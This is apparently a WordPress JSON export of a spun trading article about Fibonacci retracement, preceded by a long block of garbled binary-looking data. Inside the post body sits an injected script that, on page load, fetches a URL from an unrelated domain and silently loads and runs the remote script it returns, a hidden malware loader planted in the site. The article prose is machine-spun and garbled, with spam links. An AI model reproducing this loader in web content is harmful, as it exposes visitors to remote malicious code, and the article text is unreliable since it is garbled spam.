xMqRqAaGKxB7P7V6ViOX9qXGSKTnFLNFhUygZn7aPSD9iComZ41YgAmiba0ce9zZBxqXEvKLWArCJkhXmdadgqk8hRmkJJzmsFNIZCpYkUeuPA1j7b1fl2YKGw3jDwpuw8AKWQOFYd41N7l\/lOzo9LKz8zbZiZmMzWYgUJZQb5zULFokJ5ViSBA\/hWAS8jNypuA8RWPfNIqcqhTJEi1w2Y9bSK3MVgUyxFu1q6e+Hj+eujkLoijtalUKoUVI6xoWPKvT3AACCvT5O4KOPktbKKxspZ8g4Co0LuqjnWLiSPJlGpqH3yfMKeGOS2Za9Fw\/dr0XD92jhoO7XouH7tei4fu1iYIkiuosdgijkjTOt7LXosHdr0WDu16LB3a9HhAtloxRn+UVissRQqBcg0zFzfSuOppFLOq8zSgAAchWKfJC3M6bEUu6rzNAAACsYxWGw4saCMT1STWEw5jBZtGIo9ceBrEybyZj2VBEZZAOztoAAAAaAVjJsiZAdWrC+4j8TU3uX+U7IE3cKCpGyRs3IVe+tIpZ1XmaAAAHIVjmtEF7xrBpkhHNtac2WohvsVc877MXNk3YHevsxyZkQ8mpFCIq8hXTcbvBGFUmz10NCyxszDZ0hKFyoWAHE0rKw0YHbYchVgOArH8I\/E1ELToOTVisSyHIvGjJIeLmszczTM1+J4CszczWZuZokniTSqWYACsWWjSMBiNK3snfat7J32reyd9qzy5Ac5486InHFzRR2OrX0vSRRAsJG2YFM0t+xdnSD3ZE5C+zApeUt3RtPXXwOzF4kdVD47MLDuo\/wDkeOyXBvI7MXqKPdIi3vYmpvcv8pqBM8yDZjntEF7x2YGPNKW7F2YsmTELGPClAAA5CsW2WFuZ0ro9Os58NmMfNM3JdKgbNCh\/SpFBU32Y99UT61hFywLzOuzpVs2c\/wDKuiIxJoRcBrmvRoO4KxixIqhVAJ24\/hH4mo\/iF+asV756w0SyuQeVehQ\/rRwcJ516FD+tehQ\/rXoUP60kMcfVUVJFHJbMteiQdyvRIO5XokHcr0WG1stejRd0\/wBTWLQR5MlxcHtpiSdSTswSMsV7D1qu\/IVM+eV22YJGVCbD1qLMATYaU2JlLEhyBesJM8iG9iRRzEEZRUiFHZeRrBwl2zkAhau\/IVLjBE5XLc1\/qA7lJI0io4UAGpi+6e4HVNYFDmZ7DlV35CsThpZnBuoAFHAyj+ZahiMKZQBUkhjQsQBWEDSTs9hzq78hWOcllT61h0ZIUAUU7siM1hoKJJJPM1gmYwkADQ05fKdBwq78hU755XJqBmMSWA4c6u\/If1rpbD7uEvfi1dBKdzIQATmq78h\/WukMRlZ3IuF0rD4gThiFItsxoBCEki1RBTKjXOrcqxIXfNqaVshursK3z\/mNTTOD7xuArfP+Y1b5\/wAxq3z\/AJjUkzl1vI2prFuyslnI07K3z\/mNW+f8xq3z\/mNQaZkBVnOvKjvh2ueHOjE7kFgx9WpIXDeqjUKTEQKqgONBU2Ki3b5WBNtg1NJPAumcWAArEYmIwsFcEnZhZRHLqbAivSYO+KxRiklUq4seNJNh40ChxUmLhVGKsCbUxJJJOpOyCeJYYwWGhNS4mAxOA4JKmsNLBHEAXANekw98V6TB3xTYmAjRxxFNi4FGjXPIVPiGmPJeVYOWGOM3YAk16TB3xTusmIzE+rm\/tXpMHfFYrERtFlRgb7MFKkbMGawNNiYSp9cVLiohG2VwTbZhcSqDI\/C+lCaE8HWsXDBiohG0gABvoawcMGDjKrICGN9TT4qFVazgm1TRiZWVidahgSAEKT9dksKyWuTQw0UbJ69rG+tPhY5XZg9egJ3zRwUY4vRwaNYhzXoCd816AnfNeiQjTeUuGhVgd4KmiilK3kAsKGCjPB69ATvmjgYxqXpDGqgAgCs6d4VnTvCgwPAj8Lx3XTwoQvEUcPxqNw6g1jFzINagFok8NmLLCFrGooVdbmQKa9GT85aOGQhf4y1howiEBw2uyVN5Gy3pMNGqAEXoRR90VuY+6KCIpNlH3Lex98UDfUcPtFlUi7AXO0sqjUigytezA0GU8CKDA3AINXFEqvEgCg6HgwoSIctmBzcPYY7rp4UqgxgHlUm9w8gNyVrEzJJEhU+IrD+6Tw2Yz3X1qKFHW5kC16NF+etHDxEKN8tYdFRCA4YX+xPJMsgCGw0+5kXBFZFGIVQoy7o6fUUXMZKKRZVFtCTW\/kZIGUD+IRxoyyhihKghS16WeViihRcpmNM8pkgvZbk3FSlhG5B1Apy5w+HJNyXSnnaMyBgDlTMLUjzFhmUWIqVQ5QXUG97HtqZyEkQKFIK3I7QxqVQssAXS4IP9Ks8e701CZR+pqJ1UKLH1mIzcyKxfuf3L\/mhdmclMpXhQLMMIQFU3PZpwNJIxleNrXUA3HI\/YlgZ3zCQqNs+H3rA5rWpRYAchTorqQRRwAvo5qNMiKt72GySNZEKmjgB2PXoH\/P8AtRwNwPX\/ALVBDuVIzX+xLA0jXz2HK33QxgyB7m4FqMKlmNyM3Ghh0CoLmyHSpYS8pJDcAAVNJEbKXJzi9j+lGJDk5qdKKggjmKMClVW7WUi30owoXZjc5lsRSxqttToNL00asVOoKnQ1ukswIvm4k0sShg17kCwvWUZ83bwoRIGB5Em36mpI1kXKTRFxa54UIECotz6h0pY1UsdSTxP4VHI5lkQgWUC31p5HVGcWAW+h7bUrZlDcxUsjo8dgLM1qkfINBdjwFYeRpYldgATypnffiMFQCt6jnvnD2urZfGnkXdkq6qQeJoyoDlLDNbhTzoqB+IJtpQNxUE7s8iPYWJIt2gG1QTvIZS9gqnTwNCWOx9bsvQlQ5desNKEiMbBtT+ForieQlTlYDXwqXeuxDQtkB4AjWshbKbsLDgDU6uWiyqSFe5oxqxzWN7WrCxtFCFYENTITiQxS6hLXp4iJImRRZSbgfrUkUhWchdXIstZX9IDZDbd2rdSmF1y67zN9L3oE24GmhlYIVUqc7A\/KxowSMuIUDKGIy\/SjG7zRsVyhVN\/1vSQPldCdACqeBqKMgRgpqo5\/4\/2IEcqSqkgcaCk3sDQVmIABvRBBII9jhuhcfiolljQZTwuaboPGqLndecV\/oeN4\/wALrZeuOPKj0JjlQPZCpNgQwNb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFb9+SeUVv35J5RW\/fknlFE3JNQTpGouDdWzDkaGOhAULHYi+p8KaeLeShUsrCwYcQKGNgCqSmY8CPC2tTYtJEZQlrjTx5+wwP8A5HBFhEinR86i10ApsZ0aVAD4rQNa4XtbNX+odG7sx3nCmXP1RytzpOmMBDhlhQTEh7kkAf8A0o\/\/xABGEQACAQIDAwQPBwMDAwUAAAABAgMAEQQSIQUQMQYTQVEUFSIwMzQ1U2FxcnOBkbEWIDJAUFSSQlJ0I6LBJGKhQ2BwgNH\/2gAIAQMBAT8Ax7ZnX1d76vznSK1\/8b\/\/AMrq7+zM3Ek\/\/CrOqkAnU12RFkdrk5OOmooEEAjgRvBBuAaJAsL0sqs7qOK2vvaRFdULWLcBTSIpAJ1Nc7Hkz5hahLGb68Bc3pZEYmxpWVhcGpJUjyhiRmNhpRnTuuN1W\/A0Jkzqut2Fxp+kzqGljs5SQA5T0EUzOExSuFLc3+JemgzRthgGJzXB+Vc6\/Y5lzEPn4fG1qAd55V5xgFCkCsMAHn1N+cNTgGfD3JGp6fRSrfET90R3K8KSaVxhhf8AEpJPC5FRZwlmYNqaxHh8N7Z+lcMbc+a0og5i39HZNSpzmJy9BiIJ9ZpkYyEZrkqAxGlgKhla8QsLMlwB0WrF8YLW8KKfnFw8rMbOAxBFN3U+Gu3GNv8AioGYtKtyQrWU\/ocMEszhY0LGsLseOMc5iWB9HQK2pNhHZEgUXXiQN7IjcVBrm0IK5VseIrmo9Lot14Vzcd82QXvxtQRFYsFGY9NBEDFgoBPTTIrWzKDbroRRgk5F1GtCKMKFyLYcBagAAABTRxsQWVSR1iiqsNVBrKuXLlFuqgqr+FQKCgXIAoIgJIUCmjR7ZlBsdLimVWUhlBHprm0IAyroNKCqoAAAH6Dg8M+KnWMcOLHqFTbIw8jowOVVWxA6alxuCwCFIVBbqFYrH4jEnu2sv9o4fqjSxpbM6r6zQIIBB37OxWAwkOr3dvxaVJtfAsrKc1iLcKfLmOUki+n6rtF1V0BjVtOm9Qm8MZAABUbtkbKgxySNI7gqbDLWJiWHETRqSVRyov6P1fanhE9VYfwEXsDdyY8DiPbFbQ8exPvn+v6vtTwieqsP4CL2Bu5MeBxHtitoePYn3z\/X9X2p4RPVWH8BF7A3cmPA4j2xWP8AHsT75\/r+gNNEpsWF\/wAvtTwieqsP4CL2Bu2VtVMAkitGzZmvWJlE08sgBAdy3zO6eKZ8vNyZeuoldY1DNdgOO7YGGgxE0qyxhgF0vW14ooNoSxxoFUWsPh+YklROm56hUkrsOOUX4CooiZBp93Ol7ZhfeYpAuYo1uu2nf9qeET1Vh\/ARewO8cmfGJ\/YrbnlSf4fT8szqg1NSYhm4HKK5xraGiTlGtYbMVLH7qePn3h3zgdoR\/jp3\/anhE9VYfwEXsDvHJnw8\/sVtzynP8Pp+WmgQ3ZnIFG3RuCkqPXSKFRR91PHz7w78R5AH+OnecbPMmIyq5AsKHDdsPA4TEYOR5YgzCQi5qZQssgAsAx3bU8InqrD+Ai9gd45M+Hn9itueU5\/h9PypIAJJ0FTSlz1L0b8MmZlPQCfvJFIMaWKNl5w623zYvCnYgjE0ZfmFGXML95x0UjYi6oxFhwFDgN2wMVhocFIsk0aMZCbMQKnIM8hBBBY7toxOzplVm06BUIIgjBH9I7xs\/aL4B3ZEDFhbWsZiWxeIeYqFLW03bCbDLi3M5QLzZ\/HW2mgbGsYShTKNV4fkp5b9Pc\/Wib0qliABUUCohB4ka1FGsYIH3kJ7PPvDvnA7QjQeLp3nHk9k\/AUOA3cnADgJfen6Cp\/Dy+2d20\/CJ6qw\/gIvYHe+TYBx0nujXKDyi3sjvpIAvT4ly5ymyiosT\/cPjSsCLgip5gLoD66c3tSqSQAKghEQ62NAE8AT99PHz7w78R5BH+OnedoeM\/AUOA3bJ2vh8DhnikVyxcsCtSsHkdhexJO7GYWSdkKldB01EpSJFPFVA73ya8ek90fqK5QeUW9kd5JAFyRSsp4EHfiZiDkX41mPUKDMKWaROFBm4mxJq7HKAASahhyC7WzGkRmYAC5NQYVIk7rViNaxMPMyleg6j7y4JBPzuc3zXtvxHkEf46d52h4z8BQ4D8jya8ek90fqK5QeUW9kd5xM2Y5FOlROVIsbGopg2jCzVPNza2HE02pqGBpG6lqWB49eK7gL1BCEAYjuqAJIAFyawuGEK5m1c7sXEJA39wAI7ziPII\/x03tjZRiebyrlzAb0wOLkiEqwsUsdd+0PGfgKHAfkeTXj0nuj9RXKDyi3sjvGIlKjIn4jUeEJsXJqbDtHqNVrMwtrTMzG5N6jhLEUqhVAAoqRxB1FTYYG7J8qggyd0w1rjoKweC5sB3HdH\/xWWstBP9RvUKx2H5mW4Hct3jEeQR\/jpvfx8e8G\/ZnkMew9Hid20PGfgKHAfkeTXj0nuj9RXKDyi3sj77EgGw1pIlVix1Y0qliAoJJNTYWWELnTQip8Na7IPWKghZ24WHXSqEAArAYIznO4sgPzqXCRSplZejQ1icFNhzqLp17tn4H\/ANRxr0LWSslZKsRK3ck9yKnVsREUKEGxtp0g0ylWKkWIP38R5BH+Om9\/Hx7wb9meQx7D0eJ3bQ8Z+AocB+R5NePSe6P1FcoPKLeyO8QwySyBEUk1gtnR4cXazSEcakgSRCrKCtY7ZskF3S7R\/Tds\/AtinzHwa8T10kSooVQAAKy00asCrAEEUmyYEn5zivQlIvdSe1\/xWWstZaC\/6r+ytZK2vhcjiZRo2jev782KjOxRHlkvzCi+RrfPe8THGhrrbOOkX37PxUabICFZCQj8EYj5gUeO7HRM+IuCoFhxYChwH5HYEqw4x2YMQYj+FS30rbcqyY5mUMBlHFSp+R++IJmAIicj1GsNNisMv+nh216ctDaOOU3eFwvTpXbbEsWKISBR2riyLZbg+inDPJpGQW\/pFQ7RxECc2seUKeqhtPGkaIflXbLHXtzTX9VdssaurQvb1WrD7RimOUyOj24G1LtLFlnMSFhfqvXbDaPmW\/jXZ+0fMt\/Gu2G0fMt\/Gn2njM7EPlPAi1HaOMI8M1SYzEyRlGkJUncTaixP3Oz8Y0QhMzGO2W3oFMbVejDEXz5Bmvxq9BiKwW2sNBs0YZkcvlYaDTXfisLJNNnVlA9NA0OI3MbDcN1zStRNhQNLqaY61ermlNxTGwrkx49J7o1yg8ot7IpmtVyaPHfgMK+KxEcS9J19ApIkiiVFFgq2FQgcxH7AraQHYGI921cncPFKk5db2YUNn4RdVjAPXUeFhRIkCi0f4agweGzNLzQzl2N\/jQwsALEINSCfhrXY0IlEmXuhVh1VtDZeHxUbEIElA0YVyaXL2UpGoZasKsKsKn2RgsRi5GZSCVU6G1HYmyFFy5A9uu0mybXzm17Xz9NTcn8LIinDykfG4qxY1kHXRFjuyCgAKY3NCrDqpgLV0UnDcx6NxHGhxG5zw3KNBVh1UeJpeIpjYUKUWFE3O9OFMda5MePSe6NcoTbaDeyNwFzWUVkHXWQVyewYhhad9Gk4eqsXiY8NhpJWOiitgY2fFNOJGuqBco6q2l4hiPdtWGx2JwoYQyFQ3Gu3O0\/PH5Cu3O1PPH+Ipdr7TUaTH5Cu3O1PPH+IrtztTzx\/iK2NtHHT4wRyvmQqejc+NxWExWJEEhUNKb1252n5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analyst marks the low and high of a wave, then uses the fan software to draw diagonal lines from low to excessive (or vice versa) based on Fibonacci ratios. The Fibonacci Retracement device is used to determine ranges the place the value could halt or retrace after an upward or downward movement. Now, let\u2019s see how we&#8217;d use the Fibonacci retracement device throughout a downtrend. And to go short (or sell) on a retracement at a Fibonacci resistance level when the market is trending DOWN. The idea is to go long (or buy) on a retracement at a Fibonacci support <a href=\"https:\/\/www.xcritical.in\/\">https:\/\/www.xcritical.in\/<\/a> stage when the market is trending UP.<\/p>\n<p>Deep ranges, corresponding to sixty one.8% or seventy eight.6%, are all a few larger worth correction and the next chance of a bounce back. Deep retracements can typically act as crucial points the place a development could either reverse or proceed. As all the time, we&#8217;d encourage you to combine Fibonacci ranges with other indicators, such as volume or RSI. This would improve your accuracy in nailing the buying and selling pullbacks in a downtrend. As the price bounces upward, it will touch the 38.2% degree at $169.10, the place it begins to show signs of slowing or reversing. You can verify this if it looks like a bearish candlestick pattern or a drop in shopping for momentum.<\/p>\n<p><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"If you want to be a good leverage trader, you want good trading schooling. Explore the variety of coaching materials obtainable in our learning section, such as our free webinars, workshops and how-to videos. As Soon As you\u2019ve opened an account, reside or demo, you presumably can put your information into follow. First, locate the&#8230; <a class=\"view-article\" href=\"https:\/\/www.dafaleague.com\/euro-pred-challenge\/en\/2025\/08\/18\/fibonacci-in-technical-evaluation-reversal-trend-2\/\">View Article<\/a>","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[20],"tags":[],"class_list":["post-2891","post","type-post","status-publish","format-standard","hentry","category-fintech"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>EURO Predictor Challenge<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/dafaleague.com\/euro-pred-challenge\/en\/2025\/08\/18\/fibonacci-in-technical-evaluation-reversal-trend-2\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"EURO Predictor Challenge\" \/>\n<meta property=\"og:description\" content=\"If you want to be a good leverage trader, you want good trading schooling. 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